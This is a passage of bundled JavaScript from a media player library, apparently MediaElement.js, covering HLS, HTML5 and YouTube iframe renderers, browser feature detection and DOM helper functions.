= originalNode.autoplay; var hlsPlayer = null, node = null, index = 0, total = mediaFiles.length; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); options.hls.autoStartLoad = preload && preload !== 'none' || autoplay; var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return hlsPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (hlsPlayer !== null) { hlsPlayer.destroy(); for (var i = 0, _total = events.length; i < _total; i++) { node.removeEventListener(events[i], attachNativeEvents); } hlsPlayer = NativeHls._createPlayer({ options: options.hls, id: id }); hlsPlayer.loadSource(value); hlsPlayer.attachMedia(node); } } else { node[propName] = value; } } }; }; for (var i = 0, _total2 = props.length; i < _total2; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_hlsPlayer) { mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer; var hlsEvents = Hls.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { var url = mediaElement.originalNode.src; hlsPlayer.detachMedia(); hlsPlayer.loadSource(url); hlsPlayer.attachMedia(node); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total3 = events.length; _i < _total3; _i++) { assignEvents(events[_i]); } var recoverDecodingErrorDate = void 0, recoverSwapAudioCodecDate = void 0; var assignHlsEvents = function assignHlsEvents(name, data) { if (name === 'hlsError') { console.warn(data); data = data[1]; if (data.fatal) { switch (data.type) { case 'mediaError': var now = new Date().getTime(); if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate > 3000) { recoverDecodingErrorDate = new Date().getTime(); hlsPlayer.recoverMediaError(); } else if (!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate > 3000) { recoverSwapAudioCodecDate = new Date().getTime(); console.warn('Attempting to swap Audio Codec and recover from media error'); hlsPlayer.swapAudioCodec(); hlsPlayer.recoverMediaError(); } else { var message = 'Cannot recover, last media error recovery failed'; mediaElement.generateError(message, node.src); console.error(message); } break; case 'networkError': if (data.details === 'manifestLoadError') { if (index < total && mediaFiles[index + 1] !== undefined) { node.setSrc(mediaFiles[index++].src); node.load(); node.play(); } else { var _message = 'Network error'; mediaElement.generateError(_message, mediaFiles); console.error(_message); } } else { var _message2 = 'Network error'; mediaElement.generateError(_message2, mediaFiles); console.error(_message2); } break; default: hlsPlayer.destroy(); break; } return; } } var event = (0, _general.createEvent)(name, mediaElement); event.data = data; mediaElement.dispatchEvent(event); }; var _loop = function _loop(eventType) { if (hlsEvents.hasOwnProperty(eventType)) { hlsPlayer.on(hlsEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignHlsEvents(hlsEvents[eventType], args); }); } }; for (var eventType in hlsEvents) { _loop(eventType); } }; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } if (preload !== 'auto' && !autoplay) { node.addEventListener('play', function () { if (hlsPlayer !== null) { hlsPlayer.startLoad(); } }); node.addEventListener('pause', function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); } }); } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); hlsPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeHls.load({ options: options.hls, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.m3u8') ? 'application/x-mpegURL' : null; }); _renderer.renderer.add(HlsNativeRenderer); },{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],14:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var HtmlMediaElement = { name: 'html5', options: { prefix: 'html5' }, canPlayType: function canPlayType(type) { var mediaElement = _document2.default.createElement('video'); if (_constants.IS_ANDROID && /\/mp(3|4)$/i.test(type) || ~['application/x-mpegurl', 'vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) && _constants.SUPPORTS_NATIVE_HLS) { return 'yes'; } else if (mediaElement.canPlayType) { return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, ''); } else { return ''; } }, create: function create(mediaElement, options, mediaFiles) { var id = mediaElement.id + '_' + options.prefix; var isActive = false; var node = null; if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) { node = _document2.default.createElement('audio'); mediaElement.appendChild(node); } else { node = mediaElement.originalNode; } node.setAttribute('id', id); var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return node[propName]; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { node[propName] = value; } }; }; for (var i = 0, _total = props.length; i < _total; i++) { assignGettersSetters(props[i]); } var events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), assignEvents = function assignEvents(eventName) { node.addEventListener(eventName, function (e) { if (isActive) { var _event = (0, _general.createEvent)(e.type, e.target); mediaElement.dispatchEvent(_event); } }); }; for (var _i = 0, _total2 = events.length; _i < _total2; _i++) { assignEvents(events[_i]); } node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { isActive = false; node.style.display = 'none'; return node; }; node.show = function () { isActive = true; node.style.display = ''; return node; }; var index = 0, total = mediaFiles.length; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } node.addEventListener('error', function (e) { if (e && e.target && e.target.error && e.target.error.code === 4 && isActive) { if (index < total && mediaFiles[index + 1] !== undefined) { node.src = mediaFiles[index++].src; node.load(); node.play(); } else { mediaElement.generateError('Media error: Format(s) not supported or source(s) not found', mediaFiles); } } }); var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); return node; } }; _window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement; _renderer.renderer.add(HtmlMediaElement); },{"16":16,"18":18,"2":2,"3":3,"7":7,"8":8}],15:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _media = _dereq_(19); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var YouTubeApi = { isIframeStarted: false, isIframeLoaded: false, iframeQueue: [], enqueueIframe: function enqueueIframe(settings) { YouTubeApi.isLoaded = typeof YT !== 'undefined' && YT.loaded; if (YouTubeApi.isLoaded) { YouTubeApi.createIframe(settings); } else { YouTubeApi.loadIframeApi(); YouTubeApi.iframeQueue.push(settings); } }, loadIframeApi: function loadIframeApi() { if (!YouTubeApi.isIframeStarted) { (0, _dom.loadScript)('https://www.youtube.com/player_api'); YouTubeApi.isIframeStarted = true; } }, iFrameReady: function iFrameReady() { YouTubeApi.isLoaded = true; YouTubeApi.isIframeLoaded = true; while (YouTubeApi.iframeQueue.length > 0) { var settings = YouTubeApi.iframeQueue.pop(); YouTubeApi.createIframe(settings); } }, createIframe: function createIframe(settings) { return new YT.Player(settings.containerId, settings); }, getYouTubeId: function getYouTubeId(url) { var youTubeId = ''; if (url.indexOf('?') > 0) { youTubeId = YouTubeApi.getYouTubeIdFromParam(url); if (youTubeId === '') { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } } else { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } var id = youTubeId.substring(youTubeId.lastIndexOf('/') + 1); youTubeId = id.split('?'); return youTubeId[0]; }, getYouTubeIdFromParam: function getYouTubeIdFromParam(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'), parameters = parts[1].split('&'); var youTubeId = ''; for (var i = 0, total = parameters.length; i < total; i++) { var paramParts = parameters[i].split('='); if (paramParts[0] === 'v') { youTubeId = paramParts[1]; break; } } return youTubeId; }, getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'); url = parts[0]; return url.substring(url.lastIndexOf('/') + 1); }, getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) { if (url === undefined || url === null || !url.trim().length || url.indexOf('//www.youtube') === -1) { return url; } var parts = url.split('/'); parts[2] = parts[2].replace('.com', '-nocookie.com'); return parts.join('/'); } }; var YouTubeIframeRenderer = { name: 'youtube_iframe', options: { prefix: 'youtube_iframe', youtube: { autoplay: 0, controls: 0, disablekb: 1, end: 0, loop: 0, modestbranding: 0, playsinline: 0, rel: 0, showinfo: 0, start: 0, iv_load_policy: 3, nocookie: false, imageQuality: null } }, canPlayType: function canPlayType(type) { return ~['video/youtube', 'video/x-youtube'].indexOf(type.toLowerCase()); }, create: function create(mediaElement, options, mediaFiles) { var youtube = {}, apiStack = [], readyState = 4; var youTubeApi = null, paused = true, ended = false, youTubeIframe = null, volume = 1; youtube.options = options; youtube.id = mediaElement.id + '_' + options.prefix; youtube.mediaElement = mediaElement; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['get' + capName] = function () { if (youTubeApi !== null) { var value = null; switch (propName) { case 'currentTime': return youTubeApi.getCurrentTime(); case 'duration': return youTubeApi.getDuration(); case 'volume': volume = youTubeApi.getVolume() / 100; return volume; case 'playbackRate': return youTubeApi.getPlaybackRate(); case 'paused': return paused; case 'ended': return ended; case 'muted': return youTubeApi.isMuted(); case 'buffered': var percentLoaded = youTubeApi.getVideoLoadedFraction(), duration = youTubeApi.getDuration(); return { start: function start() { return 0; }, end: function end() { return percentLoaded * duration; }, length: 1 }; case 'src': return youTubeApi.getVideoUrl(); case 'readyState': return readyState; } return value; } else { return null; } }; youtube['set' + capName] = function (value) { if (youTubeApi !== null) { switch (propName) { case 'src': var url = typeof value === 'string' ? value : value[0].src, _videoId = YouTubeApi.getYouTubeId(url); if (mediaElement.originalNode.autoplay) { youTubeApi.loadVideoById(_videoId); } else { youTubeApi.cueVideoById(_videoId); } break; case 'currentTime': youTubeApi.seekTo(value); break; case 'muted': if (value) { youTubeApi.mute(); } else { youTubeApi.unMute(); } setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'volume': volume = value; youTubeApi.setVolume(value * 100); setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'playbackRate': youTubeApi.setPlaybackRate(value); setTimeout(function () { var event = (0, _general.createEvent)('ratechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'readyState': var event = (0, _general.createEvent)('canplay', youtube); mediaElement.dispatchEvent(event); break; default: break; } } else { apiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { youtube[methodName] = function () { if (youTubeApi !== null) { switch (methodName) { case 'play': paused = false; return youTubeApi.playVideo(); case 'pause': paused = true; return youTubeApi.pauseVideo(); case 'load': return null; } } else { apiStack.push({ type: 'call', methodName: methodName }); } }; }; for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var errorHandler = function errorHandler(error) { var message = ''; switch (error.data) { case 2: message = 'The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.'; break; case 5: message = 'The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.'; break; case 100: message = 'The video requested was not found. Either video has been removed or has been marked as private.'; break; case 101: case 105: message = 'The owner of the requested video does not allow it to be played in embedded players.'; break; default: message = 'Unknown error.'; break; } mediaElement.generateError('Code ' + error.data + ': ' + message, mediaFiles); }; var youtubeContainer = _document2.default.createElement('div'); youtubeContainer.id = youtube.id; if (youtube.options.youtube.nocookie) { mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src); } mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode); mediaElement.originalNode.style.display = 'none'; var isAudio = mediaElement.originalNode.tagName.toLowerCase() === 'audio', height = isAudio ? '1' : mediaElement.originalNode.height, width = isAudio ? '1' : mediaElement.originalNode.width, videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src), youtubeSettings = { id: youtube.id, containerId: youtubeContainer.id, videoId: videoId, height: height, width: width, host: youtube.options.youtube && youtube.options.youtube.nocookie ? 'https://www.youtube-nocookie.com' : undefined, playerVars: Object.assign({ controls: 0, rel: 0, disablekb: 1, showinfo: 0, modestbranding: 0, html5: 1, iv_load_policy: 3 }, youtube.options.youtube), origin: _window2.default.location.host, events: { onReady: function onReady(e) { mediaElement.youTubeApi = youTubeApi = e.target; mediaElement.youTubeState = { paused: true, ended: false }; if (apiStack.length) { for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) { var stackItem = apiStack[_i2]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { youtube[stackItem.methodName](); } } } youTubeIframe = youTubeApi.getIframe(); if (mediaElement.originalNode.muted) { youTubeApi.mute(); } var events = ['mouseover', 'mouseout'], assignEvents = function assignEvents(e) { var newEvent = (0, _general.createEvent)(e.type, youtube); mediaElement.dispatchEvent(newEvent); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { youTubeIframe.addEventListener(events[_i3], assignEvents, false); } var initEvents = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay']; for (var _i4 = 0, _total4 = initEvents.length; _i4 < _total4; _i4++) { var event = (0, _general.createEvent)(initEvents[_i4], youtube); mediaElement.dispatchEvent(event); } }, onStateChange: function onStateChange(e) { var events = []; switch (e.data) { case -1: events = ['loadedmetadata']; paused = true; ended = false; break; case 0: events = ['ended']; paused = false; ended = !youtube.options.youtube.loop; if (!youtube.options.youtube.loop) { youtube.stopInterval(); } break; case 1: events = ['play', 'playing']; paused = false; ended = false; youtube.startInterval(); break; case 2: events = ['pause']; paused = true; ended = false; youtube.stopInterval(); break; case 3: events = ['progress']; ended = false; break; case 5: events = ['loadeddata', 'loadedmetadata', 'canplay']; paused = true; ended = false; break; } for (var _i5 = 0, _total5 = events.length; _i5 < _total5; _i5++) { var event = (0, _general.createEvent)(events[_i5], youtube); mediaElement.dispatchEvent(event); } }, onError: function onError(e) { return errorHandler(e); } } }; if (isAudio || mediaElement.originalNode.hasAttribute('playsinline')) { youtubeSettings.playerVars.playsinline = 1; } if (mediaElement.originalNode.controls) { youtubeSettings.playerVars.controls = 1; } if (mediaElement.originalNode.autoplay) { youtubeSettings.playerVars.autoplay = 1; } if (mediaElement.originalNode.loop) { youtubeSettings.playerVars.loop = 1; } if ((youtubeSettings.playerVars.loop && parseInt(youtubeSettings.playerVars.loop, 10) === 1 || mediaElement.originalNode.src.indexOf('loop=') > -1) && !youtubeSettings.playerVars.playlist && mediaElement.originalNode.src.indexOf('playlist=') === -1) { youtubeSettings.playerVars.playlist = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); } YouTubeApi.enqueueIframe(youtubeSettings); youtube.onEvent = function (eventName, player, _youTubeState) { if (_youTubeState !== null && _youTubeState !== undefined) { mediaElement.youTubeState = _youTubeState; } }; youtube.setSize = function (width, height) { if (youTubeApi !== null) { youTubeApi.setSize(width, height); } }; youtube.hide = function () { youtube.stopInterval(); youtube.pause(); if (youTubeIframe) { youTubeIframe.style.display = 'none'; } }; youtube.show = function () { if (youTubeIframe) { youTubeIframe.style.display = ''; } }; youtube.destroy = function () { youTubeApi.destroy(); }; youtube.interval = null; youtube.startInterval = function () { youtube.interval = setInterval(function () { var event = (0, _general.createEvent)('timeupdate', youtube); mediaElement.dispatchEvent(event); }, 250); }; youtube.stopInterval = function () { if (youtube.interval) { clearInterval(youtube.interval); } }; youtube.getPosterUrl = function () { var quality = options.youtube.imageQuality, resolutions = ['default', 'hqdefault', 'mqdefault', 'sddefault', 'maxresdefault'], id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); return quality && resolutions.indexOf(quality) > -1 && id ? 'https://img.youtube.com/vi/' + id + '/' + quality + '.jpg' : ''; }; return youtube; } }; _window2.default.onYouTubePlayerAPIReady = function () { YouTubeApi.iFrameReady(); }; _media.typeChecks.push(function (url) { return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? 'video/x-youtube' : null ); }); _renderer.renderer.add(YouTubeIframeRenderer); },{"17":17,"18":18,"19":19,"2":2,"3":3,"7":7,"8":8}],16:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NAV = exports.NAV = _window2.default.navigator; var UA = exports.UA = NAV.userAgent.toLowerCase(); var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) && !_window2.default.MSStream; var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) && !_window2.default.MSStream; var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) && !_window2.default.MSStream; var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) && !_window2.default.MSStream; var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA); var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName); var IS_EDGE = exports.IS_EDGE = 'msLaunchUri' in NAV && !('documentMode' in _document2.default); var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA); var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA); var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) && !IS_CHROME; var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA); var HAS_MSE = exports.HAS_MSE = 'MediaSource' in _window2.default; var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () { var element = _document2.default.createElement('x'), documentElement = _document2.default.documentElement, getComputedStyle = _window2.default.getComputedStyle; if (!('pointerEvents' in element.style)) { return false; } element.style.pointerEvents = 'auto'; element.style.pointerEvents = 'x'; documentElement.appendChild(element); var supports = getComputedStyle && (getComputedStyle(element, '') || {}).pointerEvents === 'auto'; element.remove(); return !!supports; }(); var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () { var supportsPassive = false; try { var opts = Object.defineProperty({}, 'passive', { get: function get() { supportsPassive = true; } }); _window2.default.addEventListener('test', null, opts); } catch (e) {} return supportsPassive; }(); var html5Elements = ['source', 'track', 'audio', 'video']; var video = void 0; for (var i = 0, total = html5Elements.length; i < total; i++) { video = _document2.default.createElement(html5Elements[i]); } var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_IE && /edge/i.test(UA); var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined; var hasNativeFullscreen = video.requestFullscreen !== undefined; if (hasiOSFullScreen && /mac os x 10_5/i.test(UA)) { hasNativeFullscreen = false; hasiOSFullScreen = false; } var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined; var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined; var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined; var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen; var nativeFullScreenEnabled = hasTrueNativeFullScreen; var fullScreenEventName = ''; var isFullScreen = void 0, requestFullScreen = void 0, cancelFullScreen = void 0; if (hasMozNativeFullScreen) { nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled; } else if (hasMsNativeFullScreen) { nativeFullScreenEnabled = _document2.default.msFullscreenEnabled; } if (IS_CHROME) { hasiOSFullScreen = false; } if (hasTrueNativeFullScreen) { if (hasWebkitNativeFullScreen) { fullScreenEventName = 'webkitfullscreenchange'; } else if (hasMozNativeFullScreen) { fullScreenEventName = 'fullscreenchange'; } else if (hasMsNativeFullScreen) { fullScreenEventName = 'MSFullscreenChange'; } exports.isFullScreen = isFullScreen = function isFullScreen() { if (hasMozNativeFullScreen) { return _document2.default.mozFullScreen; } else if (hasWebkitNativeFullScreen) { return _document2.default.webkitIsFullScreen; } else if (hasMsNativeFullScreen) { return _document2.default.msFullscreenElement !== null; } }; exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) { if (hasWebkitNativeFullScreen) { el.webkitRequestFullScreen(); } else if (hasMozNativeFullScreen) { el.mozRequestFullScreen(); } else if (hasMsNativeFullScreen) { el.msRequestFullscreen(); } }; exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() { if (hasWebkitNativeFullScreen) { _document2.default.webkitCancelFullScreen(); } else if (hasMozNativeFullScreen) { _document2.default.mozCancelFullScreen(); } else if (hasMsNativeFullScreen) { _document2.default.msExitFullscreen(); } }; } var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen; var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen; var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen; var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen; var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen; var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen; var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled; var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName; exports.isFullScreen = isFullScreen; exports.requestFullScreen = requestFullScreen; exports.cancelFullScreen = cancelFullScreen; _mejs2.default.Features = _mejs2.default.Features || {}; _mejs2.default.Features.isiPad = IS_IPAD; _mejs2.default.Features.isiPod = IS_IPOD; _mejs2.default.Features.isiPhone = IS_IPHONE; _mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad; _mejs2.default.Features.isAndroid = IS_ANDROID; _mejs2.default.Features.isIE = IS_IE; _mejs2.default.Features.isEdge = IS_EDGE; _mejs2.default.Features.isChrome = IS_CHROME; _mejs2.default.Features.isFirefox = IS_FIREFOX; _mejs2.default.Features.isSafari = IS_SAFARI; _mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID; _mejs2.default.Features.hasMSE = HAS_MSE; _mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS; _mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS; _mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT; _mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN; _mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN; _mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED; _mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME; _mejs2.default.Features.isFullScreen = isFullScreen; _mejs2.default.Features.requestFullScreen = requestFullScreen; _mejs2.default.Features.cancelFullScreen = cancelFullScreen; },{"2":2,"3":3,"7":7}],17:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.removeClass = exports.addClass = exports.hasClass = undefined; exports.loadScript = loadScript; exports.offset = offset; exports.toggleClass = toggleClass; exports.fadeOut = fadeOut; exports.fadeIn = fadeIn; exports.siblings = siblings; exports.visible = visible; exports.ajax = ajax; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function loadScript(url) { return new Promise(function (resolve, reject) { var script = _document2.default.createElement('script'); script.src = url; script.async = true; script.onload = function () { script.remove(); resolve(); }; script.onerror = function () { script.remove(); reject(); }; _document2.default.head.appendChild(script); }); } function offset(el) { var rect = el.getBoundingClientRect(), scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft, scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop; return { top: rect.top + scrollTop, left: rect.left + scrollLeft }; } var hasClassMethod = void 0, addClassMethod = void 0, removeClassMethod = void 0; if ('classList' in _document2.default.documentElement) { hasClassMethod = function hasClassMethod(el, className) { return el.classList !== undefined && el.classList.contains(className); }; addClassMethod = function addClassMethod(el, className) { return el.classList.add(className); }; removeClassMethod = function removeClassMethod(el, className) { return el.classList.remove(className); }; } else { hasClassMethod = function hasClassMethod(el, className) { return new RegExp('\\b' + className + '\\b').test(el.className); }; addClassMethod = function addClassMethod(el, className) { if (!hasClass(el, className)) { el.className += ' ' + className; } }; removeClassMethod = function removeClassMethod(el, className) { el.className = el.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); }; } var hasClass = exports.hasClass = hasClassMethod; var addClass = exports.addClass = addClassMethod; var removeClass = exports.removeClass = removeClassMethod; function toggleClass(el, className) { hasClass(el, className) ? removeClass(el, className) : addClass(el, className); } function fadeOut(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 1; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(1 - progress / duration, 2); el.style.opacity = opacity < 0 ? 0 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function fadeIn(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 0; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(progress / duration, 2); el.style.opacity = opacity > 1 ? 1 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function siblings(el, filter) { var siblings = []; el = el.parentNode.firstChild; do { if (!filter || filter(el)) { siblings.push(el); } } while (el = el.nextSibling); return siblings; } function visible(elem) { if (elem.getClientRects !== undefined && elem.getClientRects === 'function') { return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length); } return !!(elem.offsetWidth || elem.offsetHeight); } function 